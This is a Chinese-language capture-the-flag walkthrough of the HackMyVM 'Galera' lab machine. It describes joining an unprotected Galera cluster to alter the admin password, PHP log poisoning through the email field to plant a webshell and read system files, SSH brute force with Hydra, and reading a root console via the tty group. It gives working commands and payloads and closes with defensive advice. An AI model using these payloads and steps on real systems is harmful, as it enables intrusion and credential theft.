HackMyVM Galera 靶机|Galera 集群渗透、PHP Log Poisoning 与 tty 组提权
靶机链接:Galera
0x01 基本信息
| 名称 | IP |
|---|---|
| Kali Linux | 192.168.1.113 |
| Galera | 192.168.1.188 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键操作 | 作用 |
|---|---|---|
| 服务发现 | 4567/tcp 识别为 Galera gcomm | 确定核心攻击面 — 集群复制端口 |
| 集群加入 | Docker 部署 MariaDB + Galera-4,加入目标集群 | 数据库完全同步,获取 galeradb |
| 凭证操控 | Galera 写回 admin 密码 bcrypt 哈希 | 绕过 Web 登录,无需爆破 |
| 初始代码执行 | $_GET[1] 两步法 → file_put_contents 写 webshell → include() | PHP 代码执行 (www-data) |
| 本地枚举 | tty 组 → /dev/vcs20 → 读取 root 屏幕 | 发现 root 密码 saG58zJxs8crgQa366Uw |
| 结果获取 | 读取两枚 flag | 完成靶机目标 |
0x02 侦察与信息收集 (Reconnaissance)
1. RustScan 联动 Nmap
rustscan -a 192.168.1.188 --range 1-65535 --ulimit 5000 -- -sV -sC -O -oN nmap-scan.txt
结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
80/tcp open http Apache httpd 2.4.62 ((Debian))
4567/tcp open tram? (unknown binary protocol)
MAC Address: 08:00:27:CB:59:41 (Oracle VirtualBox virtual NIC)
OS: Linux 4.15 - 5.19 (Debian-based)
Hostname: galera.lan
2. 端口 4567 协议识别
端口 4567 指纹为未知二进制协议,返回 44 字节固定格式数据。结合以下特征识别为 MariaDB Galera Cluster gcomm 复制协议:
- 响应数据包含节点 UUID
17e177d5-b1cb - Galera 标准端口:4567 (gcomm), 4568 (IST), 4444 (SST)
- 目标主机名为
galera.lan
验证方式:使用 garbd (Galera Arbitrator) 连接确认:
sudo garbd -a gcomm://192.168.1.188:4567 -g galera_cluster -d
日志输出:
gcomm: connecting to group 'galera_cluster', peer '192.168.1.188:4567'
EVS version upgrade 0 -> 1
PC protocol upgrade 0 -> 1
0x03 Web 应用分析
1. 目录枚举
gobuster dir -u http://192.168.1.188 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
发现端点:
| 路径 | 状态 | 说明 |
|---|---|---|
/ | 200 | 登录页面 (index.php) |
/login.php | 302 | 登录处理 (POST) |
/info.php | 200 | PHP phpinfo() — 关键信息泄露 |
/upload/ | 301 | 文件上传目录 (空 listing) |
/private.php | 403 | 需认证后方可访问 |
/config.php | 200 | 空响应 — 仅设置常量和 session |
2. phpinfo 关键信息
curl -s http://192.168.1.188/info.php | grep -iE 'disable_function|DOCUMENT_ROOT|Server API'
| 配置项 | 值 |
|---|---|
| PHP 版本 | 8.2.28 |
| Server API | Apache 2.0 Handler (mod_php) |
| DOCUMENT_ROOT | /var/www/html |
| disable_functions | 39 个函数被禁用 |
| mysqli / PDO | 已启用 (mysqlnd 8.2.28) |
| open_basedir | 未设置 |
| ffi.enable | preload (受限) |
| sendmail_path | /usr/sbin/sendmail -t -i (但 binary 不存在) |
核心 disable_functions 列表:
exec, shell_exec, system, passthru, proc_open, proc_close, proc_terminate,
popen, pcntl_exec, pcntl_fork, pcntl_wait, pcntl_signal, dl, eval, assert,
create_function, include, include_once, require_once, show_source,
highlight_file, fopen, file, readfile, file_get_contents, fileperms,
chmod, chown, chgrp, symlink, link, mail, curl_exec, curl_multi_exec,
socket_create, socket_connect, socket_send, socket_recv, stream_socket_client
未被禁用的关键函数: scandir, SplFileObject, file_put_contents, fwrite, error_log, putenv, call_user_func, ReflectionFunction, fsockopen。
0x04 核心攻击链:Galera 集群 → Root
第一阶段:Galera 集群加入 (Initial Access via Database)
Galera Cluster 端口 4567 (gcomm) 对外开放,且目标未配置 SST 认证 (wsrep_sst_auth 为空),允许非授权节点加入。
1. Docker 部署 MariaDB + Galera(高可复现):
完整 Docker 加入节点附件包见文末 附件:Galera Docker 加入节点。附件包包含 Dockerfile、docker-compose.yml、entrypoint.sh、galera.cnf,核心配置如下:
# galera.cnf
[mysqld]
wsrep_on = ON
wsrep_provider = /usr/lib/galera/libgalera_smm.so
wsrep_cluster_address = gcomm://192.168.1.188:4567
wsrep_node_address = 192.168.1.113
wsrep_node_name = docker_joiner
wsrep_sst_method = rsync
wsrep_sst_auth = root:
wsrep_slave_threads = 4
binlog_format = ROW
default_storage_engine = InnoDB
innodb_autoinc_lock_mode = 2
innodb_flush_log_at_trx_commit = 0
bind-address = 0.0.0.0
cd galera-docker-attach/
docker compose build
docker compose up -d
docker compose logs -f # 等待 State transfer complete
2. 验证同步并获取用户表:
docker exec galera_joiner mysql -e "
SHOW STATUS LIKE 'wsrep_cluster_size'; -- 2
SHOW STATUS LIKE 'wsrep_local_state_comment'; -- Synced
SELECT * FROM galeradb.users;
"
| id | username | password | created_at | |
|---|---|---|---|---|
| 1 | admin | admin@galera.hmv | $2y$10$BCAQ6VSNOL9TzfE5/dnVmuc9R5PotwClWAHwRdRAt7RM0d9miJRzq | 2025-05-05 |
3. 生成新密码哈希并写回:
由于目标站点的登录逻辑使用 PHP 的 password_verify 进行验证,我们需要生成一个 cost 为 12 的 bcrypt 哈希。
在本地或 Kali 上,可以使用 PHP 命令快速生成(以密码 hacker123 为例):
php -r "echo password_hash('hacker123', PASSWORD_BCRYPT, ['cost' => 12]) . PHP_EOL;"
生成结果类似:
$2y$12$hWscbxyIn9Vuv7qFOBrAd.FEPe8II9l9c3gUcusYWSPLkboqMz6/.
接着,通过 Galera 节点将生成的新密码哈希写回数据库(注意在 Bash 命令中对 $ 符号进行转义):
docker exec galera_joiner mysql -e "
UPDATE users SET password='\$2y\$12\$hWscbxyIn9Vuv7qFOBrAd.FEPe8II9l9c3gUcusYWSPLkboqMz6/.' WHERE username='admin';
"
Galera DML 写回集实时复制到目标节点,密码瞬间生效。
第二阶段:Web 登录与 Log Poisoning RCE
1. 登录获取 session:
TOKEN=$(curl -s -b /tmp/cookie.txt http://192.168.1.188/ | grep -oP 'name="token" value="[^"]*"' | tr -d '"')
curl -s -b /tmp/cookie.txt -c /tmp/cookie.txt \
-d "user=admin&pass=hacker123&token=$TOKEN" \
http://192.168.1.188/login.php
登录成功,重定向至 private.php。
2. Log Poisoning 实现 PHP 代码执行:
private.php 关键代码:
// 消息写入 — 无任何过滤!
$entry = '<strong>'.$_SESSION['email'] . ' says:</strong><br>' . $_POST['message'] . "\n";
file_put_contents($logFile, $entry, FILE_APPEND);
// 文件包含 — 触发 PHP 执行
if (isset($_GET['view']) && $_GET['view'] === '1') {
include $logFile; // include '/var/www/html/messages.log'
}
攻击路径: Session email 来源于数据库,Galera 同步后可控。将 email 字段写入 PHP payload → 发布消息 → ?view=1 触发 include → PHP 代码被执行。
设计要点:
email列VARCHAR(100)限制,payload 必须 ≤100 字符;全路径 SplFileObject ~110 字符无法直接存入- 推荐两步法:短 payload 写"文件写入器" →
$_GET[1](数字 key,免引号)传入完整 webshell
第一步 — 注入迷你写入器(69 字符):
-- $_GET[1] 用数字索引,免引号
UPDATE users SET email='A<?php file_put_contents("/var/www/html/upload/s.php",$_GET[1]);?>B@x' WHERE username='admin';
第二步 — 重新登录、发消息、用 ?view=1&1=URL_ENCODED_CODE 传入完整 webshell:
# 获取 token & 登录
TOKEN=$(curl -s -c /tmp/cookie.txt http://192.168.1.188/ | grep -oP 'name="token" value="\K[^"]+')
curl -s -c /tmp/cookie.txt -b /tmp/cookie.txt -L -X POST http://192.168.1.188/login.php -d "user=admin&pass=hacker123&token=$TOKEN"
# 发消息(触发 email → messages.log)
curl -s -b /tmp/cookie.txt -X POST http://192.168.1.188/private.php -d "message=GO"
# 将 webshell 代码 URL 编码后通过 $_GET[1] 传入,写入 s.php
curl -s -b /tmp/cookie.txt "http://192.168.1.188/private.php?view=1&1=%3C%3Fphp%20echo%2099%3B%3F%3E"
# 验证 webshell
curl http://192.168.1.188/upload/s.php # 输出: 99
第三步 — 写任意文件读取器(路径含引号时用 chr() 拼接避免转义问题):
# 读取 /etc/passwd:路径无特殊字符直接用引号
curl -s -b /tmp/cookie.txt "http://192.168.1.188/private.php?view=1&1=%3C%3Fphp%20%24f%3Dnew%20SplFileObject(%27%2Fetc%2Fpasswd%27)%3Bforeach(%24f%20as%24l)echo%24l%3B%3F%3E"
# 读取 config.php(路径含 /var/www/html,可用变量赋值缩短 URL)
curl -s -b /tmp/cookie.txt "http://192.168.1.188/private.php?view=1&1=%3C%3Fphp%20%24f%3Dnew%20SplFileObject(%27%2Fvar%2Fwww%2Fhtml%2Fconfig.php%27)%3Bforeach(%24f%20as%24l)echo%24l%3B%3F%3E"
3. Galera 集群成员确认:
SELECT * FROM mysql.wsrep_cluster_members;
| node_uuid | cluster_uuid | node_name | node_incoming_address |
|---|---|---|---|
| 17e177d5-... | a050fe61-... | node1 | AUTO |
| 1c3ae27d-... | a050fe61-... | kali_joiner | 192.168.1.113:3306 |
两节点集群,同步状态正常。
第三阶段:数据库凭证发现与 SSH 初始访问
1. 读取 PHP 源码获取数据库凭证:
UPDATE users SET email='<?php foreach(new SplFileObject("/var/www/html/config.php")as$l)echo$l;?>@x' WHERE username='admin';
// config.php 片段
$host = 'localhost';
$db = 'galeradb';
$user = 'galeradbusr';
$pass = '8d7F4TnHRYQaGDjvwUpt';
2. 读取 create_admin.php 发现原始密码:
$pass_plain = 'SgvKp417lLE1XH8NLfJ3'; // 初始 admin 密码
3. SSH 爆破获取用户访问:
# 通过 /etc/passwd 确认可登录用户
curl -s -b /tmp/cookie.txt 'http://192.168.1.188/private.php?view=1'
# root:x:0:0:root:/root:/bin/bash
# donjuandeaustria:x:1000:1000:donjuandeaustria,,,:/home/donjuandeaustria:/bin/bash
# Hydra 爆破
hydra -l donjuandeaustria -P /usr/share/wordlists/rockyou.txt.gz \
192.168.1.188 ssh -t 8 -I -o hydra-results.txt
[22][ssh] host: 192.168.1.188 login: donjuandeaustria password: amorcito
凭据: donjuandeaustria : amorcito
第四阶段:User Flag 与本地权限枚举
1. SSH 登录与 User Flag:
sshpass -p 'amorcito' ssh donjuandeaustria@192.168.1.188
cat /home/donjuandeaustria/user.txt
# 072f9d8c26547db59e65d7aa3e55747b
2. 用户组权限分析:
id
# uid=1000(donjuandeaustria) gid=1000(donjuandeaustria)
# groups=1000(donjuandeaustria),5(tty),24(cdrom),25(floppy),29(audio),
# 30(dip),44(video),46(plugdev),100(users),106(netdev)
| 组 | 关键访问 | 利用价值 |
|---|---|---|
| tty (5) | /dev/vcs* /dev/vcsa* | ⭐ 可读虚拟控制台屏幕 |
| video (44) | /dev/fb0 /dev/dri/card0 | 服务器无 GUI |
| audio (29) | /dev/snd/* | 低 |
| cdrom (24) | /dev/sr0 | 低 |
第五阶段:tty 组屏幕嗅探与 Root 提权
系统在 tty20 上以 root 自动登录 (/bin/login -f),bash 持续运行。tty 组成员可读取 /dev/vcs20(虚拟控制台文本缓冲区)。
# 读取 root 的 tty20 屏幕
cat /dev/vcs20 | tr "\000" " "
# 屏幕输出:
# ********************************************
# Welcome, System Administrator!
# ********************************************
#
# Reminder: your root password is 'saG58zJxs8crgQa366Uw'
#
# root@galera:~#
发现 root 密码: saG58zJxs8crgQa366Uw
该密码直接出现在 root 的 tty20 屏幕提示中。
tty组成员无需额外 exploit 即可读取虚拟控制台文本缓冲区;后续su root成功也验证了这组凭据有效。
使用泄露的 root 密码切换用户并读取最终 flag:
su root
cat /root/root.txt
输出:
6a0d424c13321ca6e3b2deb2295fcc26
0x05 最终成果 (Final Flags)
User Flag
- 路径:
/home/donjuandeaustria/user.txt - 内容:
072f9d8c26547db59e65d7aa3e55747b
Root Flag
- 路径:
/root/root.txt - 内容:
6a0d424c13321ca6e3b2deb2295fcc26
0x06 完整攻击链总结
攻击路径一览
端口扫描 → Galera 集群加入 → 数据库同步 → 修改 admin 密码
→ Web 登录 → PHP Log Poisoning → 代码执行 (www-data)
→ 源码审计 → MySQL 凭证发现 → SSH 爆破 → 用户 shell
→ tty 组屏幕嗅探 → root 密码泄露 → su root → root shell
关键凭证汇总
| 服务 | 用户名 | 密码 | 获取方式 |
|---|---|---|---|
| MySQL | galeradbusr | 8d7F4TnHRYQaGDjvwUpt | config.php 源码读取 |
| Web | admin | hacker123 | Galera 写回修改 |
| SSH | donjuandeaustria | amorcito | Hydra + rockyou 爆破 |
| Root | root | saG58zJxs8crgQa366Uw | tty 组 /dev/vcs20 屏幕读取 |
关键知识点
-
Galera 集群未授权加入: 端口 4567 (gcomm) 对外开放且
wsrep_sst_auth为空时,攻击者可部署节点加入集群,通过 SST 同步完整数据库。防守侧应将 gcomm 端口限制在集群内网,配置 SST 认证。 -
PHP Log Poisoning via Session Email:
$_SESSION['email']来源于数据库且写入文件时无过滤,结合可控制的数据库同步,攻击者可注入任意 PHP 代码。修复方案:对$_SESSION['email']使用htmlspecialchars()或避免将用户可控数据作为 PHP 代码的一部分执行。 -
Galera 作为 C2 通道: 本场景中 Galera 不仅用于数据窃取,还实现了"数据库写回"——通过 DML 写回集修改 admin 密码,规避了 Web 端爆破检测。这是 CTF 中相对少见的双向利用手法。
-
tty 组权限滥用:
tty组成员可读取/dev/vcs*虚拟控制台设备,直接获取其他用户终端屏幕内容。在root自动登录并显示密码提醒的场景下,这是一条无需任何 exploit 的"零噪声"提权路径。 -
Rockyou 字典的实战地位:
amorcito(西班牙语"小爱")是 rockyou.txt 中的真实泄露密码。对于 CTF 中的低权限用户爆破,Rockyou 字典仍然是最有效的第一次尝试。
防守视角
- Galera 集群的 gcomm/SST 端口应通过防火墙限制在成员节点间通信,并启用
wsrep_sst_auth强认证 - Web 应用输出用户数据时应统一使用
htmlspecialchars(),避免 Log Poisoning - PHP
disable_functions应结合open_basedir和ffi.enable=disabled设置纵深防御 - tty 组成员资格应严格控制,生产环境应将普通用户移出 tty 组
附件:Galera Docker 加入节点
以下 4 个文件组成一个最小 MariaDB Galera 加入节点,用于在 Kali 上加入目标 192.168.1.188:4567 并触发 SST 数据同步。
依赖关系
docker-compose.yml
└── build: .
├── Dockerfile
│ ├── COPY galera.cnf -> /etc/mysql/conf.d/galera.cnf
│ └── COPY entrypoint.sh -> /entrypoint.sh
└── entrypoint.sh
└── mariadbd --user=mysql --datadir=/var/lib/mysql
文件清单
| 编号 | 文件 | 作用 | 关键点 |
|---|---|---|---|
| G1 | Dockerfile | 基于 Debian 12 构建 MariaDB + Galera 镜像 | 安装 mariadb-server、galera-4、rsync,开放 3306/4444/4567/4568 |
| G2 | docker-compose.yml | 启动加入节点容器 | 使用 network_mode: host,挂载 ./mysql-data:/var/lib/mysql |
| G3 | entrypoint.sh | 初始化数据目录并启动 MariaDB | 首次运行执行 mariadb-install-db,随后启动 mariadbd |
| G4 | galera.cnf | Galera 加入节点配置 | 指向 gcomm://192.168.1.188:4567,wsrep_sst_method=rsync |
典型工作流
cd galera-docker-attach/
docker compose build
docker compose up -d
docker compose logs -f
docker exec galera_joiner mysql -e "
SHOW STATUS LIKE 'wsrep_cluster_size';
SHOW STATUS LIKE 'wsrep_local_state_comment';
SELECT * FROM galeradb.users;
"
如果 Kali IP 或目标 IP 变化,需要先修改 galera.cnf 中的 wsrep_node_address 和 wsrep_cluster_address。